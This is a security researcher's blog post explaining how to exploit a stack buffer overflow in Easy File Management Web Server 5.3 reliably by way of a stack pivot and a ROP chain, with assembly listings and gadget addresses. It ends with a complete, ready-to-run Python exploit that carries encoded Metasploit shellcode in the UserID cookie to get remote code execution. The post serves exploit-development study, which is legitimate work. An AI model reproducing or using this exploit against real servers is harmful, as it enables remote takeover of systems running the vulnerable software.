Julien Ahrens === @MrTuxracer

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

Easy File Management Web Server v5.3 Exploit-Kung Fu

31 May 2014 » Exploit, RCE, Advisory

During the last few days a lot of nice Remote Exploits have been released over at Exploit-DB by one of my followers Harold aka superkojiman targeting applications by EFS Software Inc. First of all: Kudos to Harold, you did a really nice job :-)!

As I were looking through his releases, I noticed a special one which immediately drew my attention: Easy File Management Web Server 5.3 - Stack Buffer Overflow - especially the technique used to achieve code execution - according to one of the comments:

`# only second byte changes in the stack address changes, so we can brute`
`# force it`

I’ve tested this exploit multiple times against my WinXP VM, but unfortunately I noticed that the bruteforce-scenario wasn’t quite reliable, as the application crashed sometimes and it doesn’t work on Windows 7/8 - the application does not crash at all.

So I thought that there has to be a way to execute some code without the need of brute forcing the stack-address. Here’s the write-up on my exploit that works reliably on all MS OS up to 8 :-)

Method #1 - Brute Force the Stack Address

Before moving on, let’s just have a quick look at the vulnerability itself and the reason why you could brute-force the stack address. Taken from the exploit comments:

`# By setting UserID in the cookie to a long string, we can overwrite EDX which`
`# allows us to control execution flow when the following instruction is`
`# executed:`

A quite common buffer overflow scenario :-) - in means of assembly:

004686FE  |. 53             PUSH EBX
004686FF  |. 53             PUSH EBX
00468700  |. 8BCF           MOV ECX,EDI
00468702  |. FF52 28        CALL DWORD PTR DS:[EDX+28] <--- crash
00468705  |. 385E 02        CMP BYTE PTR DS:[ESI+2],BL
00468708  |. 74 10          JE SHORT fmws.0046871A
0046870A  |. 8B07           MOV EAX,DWORD PTR DS:[EDI]
0046870C  |. 8D4E 20        LEA ECX,DWORD PTR DS:[ESI+20]
0046870F  |. 68 703C0000    PUSH 3C70
00468714  |. 51             PUSH ECX
00468715  |. 8BCF           MOV ECX,EDI

Due to the oversized UserID value, the attacker gets control over EDX, which is afterwards used in a pointer call at 0x00468702. This may result in a possible redirection of the application flow and EDI points to somewhere inside the overwritten stack-part. Please notice the addresses of the overwritten stack-part:

efmws-0a-vuln-root-cause

The reason why to use a brute-forcing method is simply the following: If you restart the application and try to exploit the same flaw a second time, the location of the overwritten stack-part may have changed:

efmws-0b-vuln-root-cause

So if you try to build an exploit that relies on the stack-address, the brute-forcing method may be the only solution to solve this problem.

Method #2: Feed the Call Pointer with Something Trusted

The second method is quite simple in its idea: Do not use a stack address in your exploit! :-D :-D …. Instead use trusted code segments (that don’t change their address in memory - they’re not rebased!) and/or use only relative exploiting methods like ROP :-).

Enough gibberish. Let’s have a look at the technical details.

Instead of feeding the CALL DWORD PTR DS:[EDX+28] at 0x00468702 with an address from the stack, let’s feed it with a pointer to an address within the .text segment of ImageLoad.dll, which finally should do the stackpivoting. After a really long search for a usable pointer, I found this one using lovely mona.py:

0x1001d89b : {pivot 604 / 0x25c} :  # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN    ** [ImageLoad.dll] **

All you have to do is find a string in the .text segment of ImageLoad.dll which is before and of course near to (more about this later) the stack pivot address at 0x1001d89b.

Searching for the string “\xD8\x01\x10” results in a perfect match at 0x1001D8F0 that contains “\x7A\xD8\x01\x10”, which is due to little endianess 0x1001D87A:

efmws-1-call-edx-ptr

The code starting at 0x1001087A up to the start of the stackpivot (0x1001D89B) is:

1001D87A   8BBC24 64020000  MOV EDI,DWORD PTR SS:[ESP+264] <-- ptr from ImageLoad.dll
1001D881   8A1F             MOV BL,BYTE PTR DS:[EDI]
1001D883   47               INC EDI
1001D884   84DB             TEST BL,BL
1001D886   885C24 40        MOV BYTE PTR SS:[ESP+40],BL
1001D88A   89BC24 64020000  MOV DWORD PTR SS:[ESP+264],EDI
1001D891  ^0F85 DEF7FFFF    JNZ ImageLoa.1001D075
1001D897   8B4424 1C        MOV EAX,DWORD PTR SS:[ESP+1C]
1001D89B   5F               POP EDI <-- stackpivot!
1001D89C   5E               POP ESI
1001D89D   5D               POP EBP
1001D89E   5B               POP EBX
1001D89F   81C4 4C020000    ADD ESP,24C
1001D8A5   C3               RETN

This is a quite good match, because there are only a few instructions between the .text segment pointer and the stackpivot instructions! And that’s the reason why you should pick an address that is close to your stackpivot, otherwise there may be instructions that change major parts of your stack or even jump to undesired memory locations resulting in loss of application flow.

efmws-2-text-kungfu

Now that you have an address for the CALL DWORD PTR DS:[EDX+28] instruction from the .text segment, notice that 28h are added to EDX, which means you have to substract it: 0x1001D8F0 - 28h = 0x1001D8C8

efmws-3-call-edx+28

Feed it! Great the application flow was successfully redirected to 0x1001D87A!

efmws-4-access-violation-ptr-edi

Ok, just a few more problems to solve. The application flow was redirected but the application crashes due to an access violation at 0x1001D881:

1001D87A   8BBC24 64020000  MOV EDI,DWORD PTR SS:[ESP+264]
1001D881   8A1F             MOV BL,BYTE PTR DS:[EDI]
1001D883   47               INC EDI
1001D884   84DB             TEST BL,BL
1001D886   885C24 40        MOV BYTE PTR SS:[ESP+40],BL
1001D88A   89BC24 64020000  MOV DWORD PTR SS:[ESP+264],EDI
1001D891  ^0F85 DEF7FFFF    JNZ ImageLoa.1001D075

The content of ESP-264 is MOVed to EDI and afterwards the contents are copied to BL. So you need an address which is readable (for the MOV instruction) and which can be used to pass the JNZ instruction at 0x1001D891, otherwise the JNZ instruction will take your application flow control. To achieve this, you simply need a 0-value in BL:

efmws-5-finding-0-1

There’s a usable value at 0x10010125, which contains \x00\x00\x00\x00! This results in EBX being zeroed out and the Zero-Flag is set (due to the TEST BL,BL at 0x1001D884):

efmws-6-finding-0-2

This means that the JNZ instruction at 0x1001D891 is not taken and the application continues to execute the stackpivot up to the RETN. Then it would move on to a pop/pop/ret instruction at 0x10010101:

efmws-7-finding-0-3

ROPing to the Shellcode

The following diagram shows how the further ROPing leads to the executing of the shellcode.

efmws-diagram

Step #1:

This is the first RET after the stackpivot. ESP+25C contains 0x10010101, which is a simple p/p/r instruction set:

POP EBX # POP ECX # RETN [ImageLoad.dll]

It pops the following two values at ESP+260 0xA445ABCF and at ESP+264 0x10010125. Now the value at ESP+264 is already familiar to you, because it’s used to set the Zero-Flag in the TEST BL, BL instruction at 0x1001D884, so you can POP that somewhere.

The value 0xA445ABCF is used to craft  a JMP ESP call on the stack. So why that? As every \x00 would break the Exploit and there are only two JMP ESP instructions in non-OS modules:

0x006a3a0d (b+0x00073a0d)  : jmp esp | startnull,ascii {PAGE_EXECUTE_READ} [LIBEAY32.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Management Web Server\LIBEAY32.dll)
0x00457452 : jmp esp | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [fmws.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.3.0.0 (C:\EFS Software\Easy File Management Web Server\fmws.exe)

And both are starting with 00, you need to craft the value for one of them directly on the stack. That’s by the way the same reason why you have to stick to the ImageLoad.dll during the whole ROPing, because it’s the only module that does not start with a 0x00!

Step #2:

The instruction at ESP+268 (0x10022AAC)

MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]

moves the value of EBX (0xA445ABCF) into EAX for some more crafting magic. The included p/p/r just moves two dummy values 0xDEADBEEF to ESI and EBX, because I haven’t found any shorter instructions sets.

Step #3:

Here’s the crafting magic. The instruction at 0x1001a187 is a simple:

ADD EAX,5BFFC883 # RETN [ImageLoad.dll]

It adds 0x5BFFC8822 to EAX which contains 0xA445ABCF. The result of this addition is: 0x00457452, which contains the JMP ESP from Step #1.

Step #4:

The instruction at ESP+278 (0x1002466d):

PUSH EAX # RETN [ImageLoad.dll]

PUSHes the crafted JMP ESP value from EAX onto the stack and RETs (executes it).

Step #5/#6:

ESP is now pointing to the nopsled:

efmws-9-jmp-esp-1

and it executes the shellcode resulting i a poped calc.exe:

efmws-10-calc-finish

Pwned. Reliably pwned.

The Exploit

Have fun! :-)

#!/usr/bin/python
# Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow (ROP)
# Version:       5.3
# Date:          2014-05-31
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      https://www.rcesecurity.com
# Software Link: http://www.efssoft.com/
# Tested on:     WinXP-GER, Win7x64-GER, Win8-EN, Win8x64-GER
#
# Credits for vulnerability discovery:
# superkojiman (http://www.exploit-db.com/exploits/33453/)
#
# Howto / Notes:
# This scripts exploits the buffer overflow vulnerability caused by an oversized UserID - string as
# discovered by superkojiman. In comparison to superkojiman's exploit, this exploit does not 
# brute force the address of the overwritten stackpart, instead it uses code from its own 
# .text segment to achieve reliable code execution.

from struct import pack
import socket,sys
import os

host="192.168.0.1"
port=80

junk0 = "\x90" * 80

# Instead of bruteforcing the stack address, let's take an address
# from the .text segment, which is near to the stackpivot instruction:
# 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll] 
# The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job!
# Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8
call_edx=pack('<L',0x1001D8C8) 

junk1="\x90" * 280
ppr=pack('<L',0x10010101) # POP EBX # POP ECX # RETN [ImageLoad.dll]

# Since 0x00 would break the exploit, the 0x00457452 (JMP ESP [fmws.exe]) needs to be crafted on the stack
crafted_jmp_esp=pack('<L',0xA445ABCF)

test_bl=pack('<L',0x10010125) # contains 00000000 to pass the JNZ instruction

kungfu=pack('<L',0x10022aac)  # MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0x1001a187) # ADD EAX,5BFFC883 # RETN [ImageLoad.dll] # finish crafting JMP ESP
kungfu+=pack('<L',0x1002466d) # PUSH EAX # RETN [ImageLoad.dll]

nopsled="\x90" * 20

# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")

payload=junk0 + call_edx + junk1 + ppr + crafted_jmp_esp + test_bl + kungfu + nopsled + shellcode

buf="GET /vfolder.ghp HTTP/1.1\r\n"
buf+="User-Agent: Mozilla/4.0\r\n"
buf+="Host:" + host + ":" + str(port) + "\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buf+="Accept-Language: en-us\r\n"
buf+="Accept-Encoding: gzip, deflate\r\n"
buf+="Referer: http://" + host + "/\r\n"
buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n"
buf+="Conection: Keep-Alive\r\n\r\n"

print "[*] Connecting to Host " + host + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((host, port))
    print "[*] Connected to " + host + "!"
except:
    print "[!] " + host + " didn't respond\n"
    sys.exit(0)

print "[*] Sending malformed request..."
s.send(buf)

print "[!] Exploit has been sent!\n"
s.close()